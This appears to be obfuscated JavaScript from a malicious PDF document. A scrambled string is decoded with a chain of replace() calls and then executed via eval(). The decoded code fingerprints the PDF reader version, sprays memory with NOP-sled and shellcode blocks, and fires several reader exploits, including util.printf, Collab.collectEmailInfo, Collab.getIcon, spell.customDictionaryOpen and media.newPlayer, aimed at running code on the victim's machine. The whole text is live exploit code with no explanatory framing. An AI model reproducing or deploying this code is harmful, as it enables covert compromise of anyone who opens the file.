nnnEvvv % nnnGvvv 4F nnnDvvv 8% nnnGvvv  nnnDvvv 744% nnnGvvv  nnnDvvv 344% nnnGvvv 4849% nnnGvvv  nnnCvvv F4C% nnnGvvv 4E4 nnnEvvv % nnnGvvv  nnnCvvv E4C% nnnGvvv 4847% nnnGvvv 444D% nnnGvvv  nnnCvvv E nnnDvvv  nnnEvvv % nnnGvvv 4E4D% nnnGvvv 4 nnnDvvv 4 nnnCvvv % nnnGvvv  nnnDvvv 1 nnnCvvv F% nnnGvvv  nnnDvvv 149% nnnGvvv 441E% nnnGvvv  nnnDvvv 11C% nnnGvvv 474 nnnDvvv % nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnEvvv 1 nnnEvvv 1% nnnGvvv  nnnCvvv  nnnCvvv  nnnEvvv 1 nnnAvvv ); nnnBvvv //------- nnnBvvv v nnnFvvv r m nnnHvvv m nnnLvvv ry; nnnBvvv f nnnGvvv n nnnKvvv t nnnMvvv  nnnLvvv n N nnnHvvv w_S nnnKvvv r nnnMvvv pt(p nnnFvvv yl nnnLvvv  nnnFvvv d) nnnBvvv { nnnBvvv //v nnnFvvv r p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv // nnnMvvv f( nnnFvvv d nnnLvvv b nnnHvvv 9)// nnnFvvv d nnnLvvv b nnnHvvv  r nnnHvvv  nnnFvvv d nnnHvvv r 8 w nnnLvvv rks  nnnFvvv ls nnnLvvv  w nnnMvvv th  nnnFvvv pp.s nnnHvvv tT nnnMvvv m nnnHvvv O nnnGvvv t? nnnBvvv //v nnnFvvv r st nnnFvvv rtw nnnMvvv th =  nnnFvvv pp. nnnFvvv l nnnHvvv rt('H nnnMvvv ');//r nnnHvvv q nnnGvvv  nnnMvvv r nnnHvvv d f nnnLvvv r  nnnFvvv d nnnLvvv b nnnHvvv 9 nnnBvvv  v nnnFvvv r n nnnLvvv p =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv \% nnnGvvv 9 nnnCvvv 9 nnnCvvv \% nnnGvvv 9 nnnCvvv 9 nnnCvvv  nnnAvvv ); //l nnnLvvv ng n nnnLvvv p w nnnMvvv ll  nnnFvvv ls nnnLvvv  f nnnLvvv r nnnKvvv  nnnHvvv  th nnnHvvv   nnnFvvv ddr nnnHvvv ss t nnnLvvv  g nnnLvvv  t nnnLvvv   nnnCvvv x9 nnnCvvv 9 nnnCvvv 9 nnnCvvv 9 nnnCvvv  s nnnLvvv   nnnEvvv  st nnnHvvv ps  nnnMvvv n  nnnLvvv n nnnHvvv  ;) nnnBvvv  v nnnFvvv r sh nnnHvvv ll nnnKvvv  nnnLvvv d nnnHvvv  = p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv  wh nnnMvvv l nnnHvvv (n nnnLvvv p.l nnnHvvv ngth <=  nnnCvvv x1 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv / nnnEvvv ) n nnnLvvv p+=n nnnLvvv p; nnnBvvv  n nnnLvvv p=n nnnLvvv p.s nnnGvvv bstr nnnMvvv ng( nnnCvvv , nnnCvvv x1 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv / nnnEvvv  - sh nnnHvvv ll nnnKvvv  nnnLvvv d nnnHvvv .l nnnHvvv ngth); nnnBvvv  m nnnHvvv m nnnLvvv ry=n nnnHvvv w Arr nnnFvvv y(); nnnBvvv  f nnnLvvv r( nnnMvvv = nnnCvvv ; nnnMvvv < nnnCvvv x6ff nnnCvvv ; nnnMvvv ++) //w nnnHvvv  sh nnnLvvv  nnnGvvv ld  nnnFvvv t l nnnHvvv  nnnFvvv st  nnnLvvv v nnnHvvv rwr nnnMvvv t nnnHvvv   nnnCvvv x9 nnnCvvv 9 nnnCvvv 9 nnnCvvv 9 nnnCvvv  nnnBvvv  {m nnnHvvv m nnnLvvv ry[ nnnMvvv ]=n nnnLvvv p + sh nnnHvvv ll nnnKvvv  nnnLvvv d nnnHvvv ;} nnnBvvv //st nnnFvvv rt  nnnHvvv xpl nnnLvvv  nnnMvvv t n nnnLvvv w nnnBvvv st nnnFvvv rt(); nnnBvvv f nnnGvvv n nnnKvvv t nnnMvvv  nnnLvvv n st nnnFvvv rt nnnEvvv () nnnBvvv { nnnBvvv  th nnnMvvv s.g nnnHvvv tAnn nnnLvvv ts(-134 nnnEvvv 177 nnnEvvv 8,-134 nnnEvvv 177 nnnEvvv 8,-134 nnnEvvv 177 nnnEvvv 8,-134 nnnEvvv 177 nnnEvvv 8); nnnBvvv } nnnBvvv f nnnGvvv n nnnKvvv t nnnMvvv  nnnLvvv n st nnnFvvv rt() nnnBvvv { nnnBvvv th nnnMvvv s.sp nnnHvvv ll. nnnKvvv  nnnGvvv st nnnLvvv mD nnnMvvv  nnnKvvv t nnnMvvv  nnnLvvv n nnnFvvv ryOp nnnHvvv n( nnnCvvv ,n nnnLvvv p);//s nnnLvvv  th nnnHvvv   nnnHvvv xpl nnnLvvv  nnnMvvv t j nnnGvvv mps  nnnFvvv  nnnKvvv t nnnGvvv  nnnFvvv lly t nnnLvvv   nnnCvvv x9 nnnCvvv 9 nnnCvvv 9 nnnCvvv 9 nnnCvvv . Pl nnnFvvv  nnnKvvv  nnnHvvv   nnnFvvv  v nnnHvvv ry l nnnLvvv ng 'AAAA'  nnnFvvv t th nnnHvvv  s nnnHvvv  nnnKvvv  nnnLvvv nd p nnnFvvv r nnnFvvv m t nnnLvvv  g nnnLvvv  t nnnLvvv   nnnCvvv x41414141 ;) nnnBvvv } nnnBvvv } nnnBvvv //------- nnnBvvv v nnnFvvv r  nnnFvvv rry = n nnnHvvv w Arr nnnFvvv y(); nnnBvvv f nnnGvvv n nnnKvvv t nnnMvvv  nnnLvvv n f nnnMvvv x_ nnnMvvv t(y nnnFvvv rsp, l nnnHvvv n) nnnBvvv {  nnnBvvv wh nnnMvvv l nnnHvvv  (y nnnFvvv rsp.l nnnHvvv ngth* nnnEvvv <l nnnHvvv n){y nnnFvvv rsp += y nnnFvvv rsp;}  nnnBvvv y nnnFvvv rsp = y nnnFvvv rsp.s nnnGvvv bstr nnnMvvv ng( nnnCvvv ,l nnnHvvv n/ nnnEvvv ); nnnBvvv r nnnHvvv t nnnGvvv rn y nnnFvvv rsp;  nnnBvvv } nnnBvvv v nnnFvvv r v nnnHvvv rs nnnMvvv  nnnLvvv n =  nnnFvvv pp.v nnnMvvv  nnnHvvv w nnnHvvv rV nnnHvvv rs nnnMvvv  nnnLvvv n; nnnBvvv  nnnMvvv f (v nnnHvvv rs nnnMvvv  nnnLvvv n > 8)  nnnBvvv { nnnBvvv v nnnFvvv r p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv n nnnLvvv p =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv % nnnGvvv  nnnCvvv A nnnCvvv A% nnnGvvv  nnnCvvv A nnnCvvv A% nnnGvvv  nnnCvvv A nnnCvvv A% nnnGvvv  nnnCvvv A nnnCvvv A nnnAvvv ) nnnBvvv h nnnHvvv  nnnFvvv pbl nnnLvvv  nnnKvvv k = n nnnLvvv p + p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv b nnnMvvv gbl nnnLvvv  nnnKvvv k =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv % nnnGvvv  nnnCvvv A nnnCvvv A% nnnGvvv  nnnCvvv A nnnCvvv A nnnAvvv ); nnnBvvv h nnnHvvv  nnnFvvv d nnnHvvv rs nnnMvvv z nnnHvvv  =  nnnEvvv  nnnCvvv ; nnnBvvv spr nnnFvvv y = h nnnHvvv  nnnFvvv d nnnHvvv rs nnnMvvv z nnnHvvv +h nnnHvvv  nnnFvvv pbl nnnLvvv  nnnKvvv k.l nnnHvvv ngth; nnnBvvv wh nnnMvvv l nnnHvvv  (b nnnMvvv gbl nnnLvvv  nnnKvvv k.l nnnHvvv ngth<spr nnnFvvv y) b nnnMvvv gbl nnnLvvv  nnnKvvv k+=b nnnMvvv gbl nnnLvvv  nnnKvvv k; nnnBvvv f nnnMvvv llbl nnnLvvv  nnnKvvv k = b nnnMvvv gbl nnnLvvv  nnnKvvv k.s nnnGvvv bstr nnnMvvv ng( nnnCvvv , spr nnnFvvv y); nnnBvvv bl nnnLvvv  nnnKvvv k = b nnnMvvv gbl nnnLvvv  nnnKvvv k.s nnnGvvv bstr nnnMvvv ng( nnnCvvv , b nnnMvvv gbl nnnLvvv  nnnKvvv k.l nnnHvvv ngth-spr nnnFvvv y); nnnBvvv wh nnnMvvv l nnnHvvv (bl nnnLvvv  nnnKvvv k.l nnnHvvv ngth+spr nnnFvvv y <  nnnCvvv x4 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv ) bl nnnLvvv  nnnKvvv k = bl nnnLvvv  nnnKvvv k+bl nnnLvvv  nnnKvvv k+f nnnMvvv llbl nnnLvvv  nnnKvvv k; nnnBvvv m nnnHvvv m = n nnnHvvv w Arr nnnFvvv y(); nnnBvvv  f nnnLvvv r ( nnnMvvv = nnnCvvv ; nnnMvvv <14 nnnCvvv  nnnCvvv ; nnnMvvv ++) m nnnHvvv m[ nnnMvvv ] = bl nnnLvvv  nnnKvvv k + h nnnHvvv  nnnFvvv pbl nnnLvvv  nnnKvvv k; nnnBvvv v nnnFvvv r n nnnGvvv m = 1 nnnEvvv 999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; nnnBvvv  nnnGvvv t nnnMvvv l.pr nnnMvvv ntf( nnnAvvv %4 nnnDvvv  nnnCvvv  nnnCvvv  nnnCvvv f nnnAvvv ,n nnnGvvv m); nnnBvvv } nnnBvvv  nnnMvvv f (v nnnHvvv rs nnnMvvv  nnnLvvv n < 8) nnnBvvv { nnnBvvv v nnnFvvv r p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv v nnnFvvv r m nnnHvvv m_ nnnFvvv rr nnnFvvv y = n nnnHvvv w Arr nnnFvvv y(); nnnBvvv v nnnFvvv r  nnnKvvv  nnnKvvv  =  nnnCvvv x nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv ; nnnBvvv v nnnFvvv r  nnnFvvv ddr =  nnnCvvv x4 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv ; nnnBvvv v nnnFvvv r s nnnKvvv _l nnnHvvv n = p nnnFvvv yl nnnLvvv  nnnFvvv d.l nnnHvvv ngth *  nnnEvvv ; nnnBvvv v nnnFvvv r l nnnHvvv n =  nnnFvvv ddr - (s nnnKvvv _l nnnHvvv n+ nnnCvvv x38); nnnBvvv v nnnFvvv r y nnnFvvv rsp =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv % nnnGvvv 9 nnnCvvv 9 nnnCvvv % nnnGvvv 9 nnnCvvv 9 nnnCvvv  nnnAvvv ); nnnBvvv y nnnFvvv rsp = f nnnMvvv x_ nnnMvvv t(y nnnFvvv rsp, l nnnHvvv n); nnnBvvv v nnnFvvv r  nnnKvvv  nnnLvvv  nnnGvvv nt nnnEvvv  = ( nnnKvvv  nnnKvvv  -  nnnCvvv x4 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv )/ nnnFvvv ddr; nnnBvvv f nnnLvvv r (v nnnFvvv r  nnnKvvv  nnnLvvv  nnnGvvv nt= nnnCvvv ; nnnKvvv  nnnLvvv  nnnGvvv nt< nnnKvvv  nnnLvvv  nnnGvvv nt nnnEvvv ; nnnKvvv  nnnLvvv  nnnGvvv nt++) nnnBvvv { nnnBvvv  m nnnHvvv m_ nnnFvvv rr nnnFvvv y[ nnnKvvv  nnnLvvv  nnnGvvv nt] = y nnnFvvv rsp + p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv } nnnBvvv v nnnFvvv r  nnnLvvv v nnnHvvv rfl nnnLvvv w =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv % nnnGvvv  nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv % nnnGvvv  nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv  nnnAvvv ); nnnBvvv wh nnnMvvv l nnnHvvv ( nnnLvvv v nnnHvvv rfl nnnLvvv w.l nnnHvvv ngth < 449 nnnDvvv  nnnEvvv )  nnnLvvv v nnnHvvv rfl nnnLvvv w +=  nnnLvvv v nnnHvvv rfl nnnLvvv w; nnnBvvv th nnnMvvv s. nnnKvvv  nnnLvvv ll nnnFvvv bSt nnnLvvv r nnnHvvv  = C nnnLvvv ll nnnFvvv b. nnnKvvv  nnnLvvv ll nnnHvvv  nnnKvvv tEm nnnFvvv  nnnMvvv lInf nnnLvvv ({s nnnGvvv bj:  nnnAvvv  nnnAvvv ,msg:  nnnLvvv v nnnHvvv rfl nnnLvvv w}); nnnBvvv } nnnBvvv  nnnMvvv f (v nnnHvvv rs nnnMvvv  nnnLvvv n < 9.1) nnnBvvv { nnnBvvv  nnnMvvv f ( nnnFvvv pp.d nnnLvvv  nnnKvvv .C nnnLvvv ll nnnFvvv b.g nnnHvvv tI nnnKvvv  nnnLvvv n){ nnnBvvv  v nnnFvvv r p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv  v nnnFvvv r hWq nnnDvvv  nnnCvvv  nnnCvvv CN = p nnnFvvv yl nnnLvvv  nnnFvvv d.l nnnHvvv ngth *  nnnEvvv ; nnnBvvv  v nnnFvvv r l nnnHvvv n =  nnnCvvv x4 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  - (hWq nnnDvvv  nnnCvvv  nnnCvvv CN +  nnnCvvv x38); nnnBvvv  v nnnFvvv r y nnnFvvv rsp =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv % nnnGvvv 9 nnnCvvv 9 nnnCvvv % nnnGvvv 9 nnnCvvv 9 nnnCvvv  nnnAvvv ); nnnBvvv  y nnnFvvv rsp = f nnnMvvv x_ nnnMvvv t(y nnnFvvv rsp, l nnnHvvv n); nnnBvvv  v nnnFvvv r p nnnDvvv AjK6 nnnDvvv f = ( nnnCvvv x nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv  nnnCvvv  nnnKvvv  -  nnnCvvv x4 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv ) /  nnnCvvv x4 nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv  nnnCvvv ; nnnBvvv  f nnnLvvv r (v nnnFvvv r vq nnnKvvv QD96y =  nnnCvvv ; vq nnnKvvv QD96y < p nnnDvvv AjK6 nnnDvvv f; vq nnnKvvv QD96y ++ ){ nnnBvvv   nnnFvvv rry[vq nnnKvvv QD96y] = y nnnFvvv rsp + p nnnFvvv yl nnnLvvv  nnnFvvv d;} nnnBvvv  v nnnFvvv r tUMhNbGw =  nnnGvvv n nnnHvvv s nnnKvvv  nnnFvvv p nnnHvvv ( nnnAvvv % nnnCvvv 9 nnnAvvv ); nnnBvvv  wh nnnMvvv l nnnHvvv  (tUMhNbGw.l nnnHvvv ngth <  nnnCvvv x4 nnnCvvv  nnnCvvv  nnnCvvv )tUMhNbGw += tUMhNbGw; nnnBvvv  tUMhNbGw =  nnnAvvv N. nnnAvvv  + tUMhNbGw; nnnBvvv   nnnFvvv pp.d nnnLvvv  nnnKvvv .C nnnLvvv ll nnnFvvv b.g nnnHvvv tI nnnKvvv  nnnLvvv n(tUMhNbGw); nnnBvvv } nnnBvvv } nnnBvvv  nnnMvvv f (v nnnHvvv rs nnnMvvv  nnnLvvv n >= 9) { nnnBvvv v nnnFvvv r p nnnFvvv yl nnnLvvv  nnnFvvv d; nnnBvvv N nnnHvvv w_S nnnKvvv r nnnMvvv pt(p nnnFvvv yl nnnLvvv  nnnFvvv d); nnnBvvv } nnnBvvv ";
c = c.replace(/ nnnMvvv /g,'i');
c = c.replace(/ nnnBvvv /g,"\n");
c = c.replace(/ nnnFvvv /g,'a');
c = c.replace(/ nnnDvvv /g,'5');
c = c.replace(/ nnnCvvv /g,'0');
c = c.replace(/ nnnLvvv /g,'o');

c = c.replace(/ nnnGvvv /g,'u');
c = c.replace(/ nnnEvvv /g,'2');
c = c.replace(/ nnnKvvv /g,'c');
c = c.replace(/ nnnAvvv /g,'"');
c = c.replace(/ nnnHvvv /g,'e');
eval(c);